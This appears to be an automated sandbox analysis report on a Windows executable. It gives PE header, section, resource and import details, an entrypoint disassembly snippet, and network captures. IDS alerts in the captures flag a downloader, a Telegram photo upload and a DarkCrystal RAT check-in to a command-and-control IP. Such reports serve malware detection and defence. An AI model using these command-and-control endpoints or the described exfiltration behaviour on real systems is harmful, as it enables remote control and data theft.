Time Stamp:	0x6220BF8D [Thu Mar 3 13:15:57 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	12e12319f1029ec4f8fcbed7e82df162

Entrypoint Preview

Instruction
call 00007FA5F4B33CFBh
jmp 00007FA5F4B3360Dh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FA5F4B26457h
mov dword ptr [esi], 004356D0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 004356D8h
mov dword ptr [ecx], 004356D0h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 004356B8h
push eax
call 00007FA5F4B36A9Fh
test byte ptr [ebp+08h], 00000001h
pop ecx
je 00007FA5F4B3379Ch
push 0000000Ch
push esi
call 00007FA5F4B32D59h
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FA5F4B263D2h
push 0043BEF0h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FA5F4B36559h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FA5F4B33718h
push 0043C0F4h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FA5F4B3653Ch
int3
jmp 00007FA5F4B37FD7h
int3
int3
int3
int3
push 00422900h
push dword ptr fs:[00000000h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3d070	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3d0a4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x64000	0xdff8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x72000	0x233c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3b11c	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x355f8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x33000	0x278	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3c5ec	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x31bdc	0x31c00	2831bb8b11e3209658a53131886cdf98	False	0.5909380888819096	data	6.712962136932442	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x33000	0xaec0	0xb000	042f11346230ca5aa360727d9908e809	False	0.4579190340909091	data	5.261605615899847	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x24720	0x1000	9670b581969e508258d8bc903025de5e	False	0.451416015625	data	4.387459135575936	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x63000	0x190	0x200	c83554035c63bb446c6208d0c8fa0256	False	0.4453125	data	3.3327310103022305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x64000	0xdff8	0xe000	ba08fbcd0ed7d9e6a268d75148d9914b	False	0.6373639787946429	data	6.638661032196024	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x72000	0x233c	0x2400	40b5e17755fd6fdd34de06e5cdb7f711	False	0.7749565972222222	data	6.623012966548067	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x64650	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x65198	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x66748	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.47832369942196534
RT_ICON	0x66cb0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.5410649819494585
RT_ICON	0x67558	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.4933368869936034
RT_ICON	0x68400	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	English	United States	0.5390070921985816
RT_ICON	0x68868	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	English	United States	0.41393058161350843
RT_ICON	0x69910	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	English	United States	0.3479253112033195
RT_ICON	0x6beb8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9809269502193401
RT_DIALOG	0x70588	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0x70358	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0x70498	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0x70228	0x12e	data	English	United States	0.5927152317880795
RT_DIALOG	0x6fef0	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0x6fc98	0x252	data	English	United States	0.5757575757575758
RT_STRING	0x70f68	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x71150	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x71320	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x714d8	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x71620	0x46c	data	English	United States	0.3454063604240283
RT_STRING	0x71a90	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x71bf8	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x71d50	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x71e60	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x71f20	0xd6	data	English	United States	0.5747663551401869
RT_GROUP_ICON	0x6fc30	0x68	data	English	United States	0.7019230769230769
RT_MANIFEST	0x70810	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL	Import
KERNEL32.dll	GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, InterlockedDecrement, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, DecodePointer, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, LocalFree, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipAlloc, GdipDisposeImage, GdipCloneImage, GdipCreateBitmapFromStream, GdipCreateBitmapFromStreamICM, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-01T16:02:09.731720+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49711	34.117.59.81	443	TCP
2025-01-01T16:02:10.878208+0100	1810009	Joe Security ANOMALY Telegram Send Photo	1	192.168.2.6	49712	149.154.167.220	443	TCP
2025-01-01T16:02:15.989325+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.6	49735	104.21.38.84	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 16:02:08.436549902 CET	49710	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:08.436628103 CET	443	49710	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:08.436781883 CET	49710	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:08.451524019 CET	49710	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:08.451539993 CET	443	49710	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:08.927926064 CET	443	49710	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:08.928000927 CET	49710	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:08.931128025 CET	49710	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:08.931133032 CET	443	49710	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:08.931457043 CET	443	49710	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:08.984961987 CET	49710	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:08.987788916 CET	49710	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:09.035329103 CET	443	49710	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:09.113797903 CET	443	49710	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:09.114126921 CET	443	49710	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:09.114212990 CET	49710	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:09.119798899 CET	49710	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:09.124877930 CET	49711	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:09.124908924 CET	443	49711	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:09.125067949 CET	49711	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:09.125320911 CET	49711	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:09.125335932 CET	443	49711	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:09.594623089 CET	443	49711	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:09.597037077 CET	49711	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:09.597069979 CET	443	49711	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:09.731873035 CET	443	49711	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:09.732403040 CET	443	49711	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:09.732656956 CET	49711	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:09.732960939 CET	49711	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:09.946480989 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:09.946540117 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:09.946739912 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:09.947906971 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:09.947922945 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.587555885 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.587640047 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.591047049 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.591061115 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.591361046 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.592694044 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.639349937 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.878307104 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.905874014 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.905901909 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.907681942 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.907689095 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.907843113 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.907846928 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.907902956 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.907907009 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.907990932 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.907996893 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.908035040 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.908037901 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.908143997 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.908150911 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.908235073 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.908245087 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.908514977 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.908519030 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.908575058 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.908581018 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.908622980 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.908631086 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.908651114 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.908657074 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.908698082 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.908704042 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.908731937 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.908737898 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.908782005 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.908787966 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.908931971 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.908941031 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.909029007 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.909055948 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.909104109 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.909137964 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.909213066 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.909225941 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.909328938 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.909360886 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.909400940 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.909409046 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.909441948 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.909480095 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.909487963 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.909502983 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.909717083 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.909723997 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.909773111 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.909778118 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.909811974 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.909818888 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:10.909991026 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:10.909996033 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:11.993753910 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:11.993932009 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:11.993946075 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:11.994045019 CET	443	49712	149.154.167.220	192.168.2.6
Jan 1, 2025 16:02:11.994096994 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:12.015810966 CET	49712	443	192.168.2.6	149.154.167.220
Jan 1, 2025 16:02:15.388952017 CET	49735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:15.393757105 CET	80	49735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:15.393835068 CET	49735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:15.394190073 CET	49735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:15.398979902 CET	80	49735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:15.751516104 CET	49735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:15.756383896 CET	80	49735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:15.855865002 CET	80	49735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:15.989325047 CET	49735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.139549017 CET	80	49735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.139569044 CET	80	49735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.139987946 CET	49735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.171900988 CET	49735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.176734924 CET	80	49735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.269342899 CET	80	49735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.269892931 CET	49735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.274761915 CET	80	49735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.421159029 CET	49741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.425975084 CET	80	49741	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.426311016 CET	49741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.426666021 CET	49741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.431425095 CET	80	49741	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.533253908 CET	80	49735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.578543901 CET	49735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.584022999 CET	49735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.584743977 CET	49745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.589344978 CET	80	49735	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.589431047 CET	49735	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.589530945 CET	80	49745	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.589689970 CET	49745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.589689970 CET	49745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.594532967 CET	80	49745	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.783961058 CET	49741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.788815022 CET	80	49741	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.872229099 CET	80	49741	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.938364029 CET	49745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:16.943206072 CET	80	49745	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.943295956 CET	80	49745	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:16.969398022 CET	49741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:17.054145098 CET	80	49745	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:17.095577002 CET	49745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:17.139561892 CET	80	49741	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:17.266274929 CET	49741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:17.276230097 CET	49741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:17.277451038 CET	49751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:17.281208038 CET	80	49741	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:17.281265020 CET	49741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:17.282334089 CET	80	49751	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:17.282391071 CET	49751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:17.282624960 CET	49751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:17.287374020 CET	80	49751	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:17.313070059 CET	80	49745	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:17.360007048 CET	49745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:17.641423941 CET	49751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:17.646289110 CET	80	49751	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:17.726901054 CET	80	49751	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:17.860039949 CET	49751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:18.011533022 CET	80	49751	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:18.156908989 CET	49751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:18.177797079 CET	49745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:18.177938938 CET	49751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:18.181885958 CET	49761	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:18.182733059 CET	80	49745	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:18.182945967 CET	49745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:18.183103085 CET	80	49751	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:18.183362961 CET	49751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:18.186718941 CET	80	49761	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:18.186832905 CET	49761	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:18.207595110 CET	49761	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:18.212390900 CET	80	49761	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:18.565045118 CET	49761	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:18.570000887 CET	80	49761	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:18.632294893 CET	80	49761	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:18.766331911 CET	49761	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:18.920722961 CET	80	49761	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:19.063172102 CET	49761	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:19.103590965 CET	49761	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:19.104487896 CET	49771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:19.108632088 CET	80	49761	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:19.108684063 CET	49761	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:19.109338999 CET	80	49771	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:19.109400988 CET	49771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:19.109544039 CET	49771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:19.115130901 CET	80	49771	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:19.467936039 CET	49771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:19.472793102 CET	80	49771	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:19.553513050 CET	80	49771	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:19.766282082 CET	49771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:19.766470909 CET	80	49771	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:19.766514063 CET	49771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:19.820770979 CET	80	49771	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:19.900506020 CET	49771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.019026041 CET	49778	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.023861885 CET	80	49778	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.023922920 CET	49778	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.024027109 CET	49778	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.028789997 CET	80	49778	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.221204996 CET	49779	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:20.221261978 CET	443	49779	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:20.221461058 CET	49779	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:20.224790096 CET	49779	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:20.224816084 CET	443	49779	34.117.59.81	192.168.2.6
Jan 1, 2025 16:02:20.229942083 CET	49778	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.237276077 CET	49771	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.245543957 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.250356913 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.250473022 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.250724077 CET	49780	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:02:20.252579927 CET	49779	443	192.168.2.6	34.117.59.81
Jan 1, 2025 16:02:20.255968094 CET	80	49780	104.21.38.84	192.168.2.6
Jan 1, 2025 16:02:20.279592037 CET	80	49778	104.21.38.84	192.168.2.6
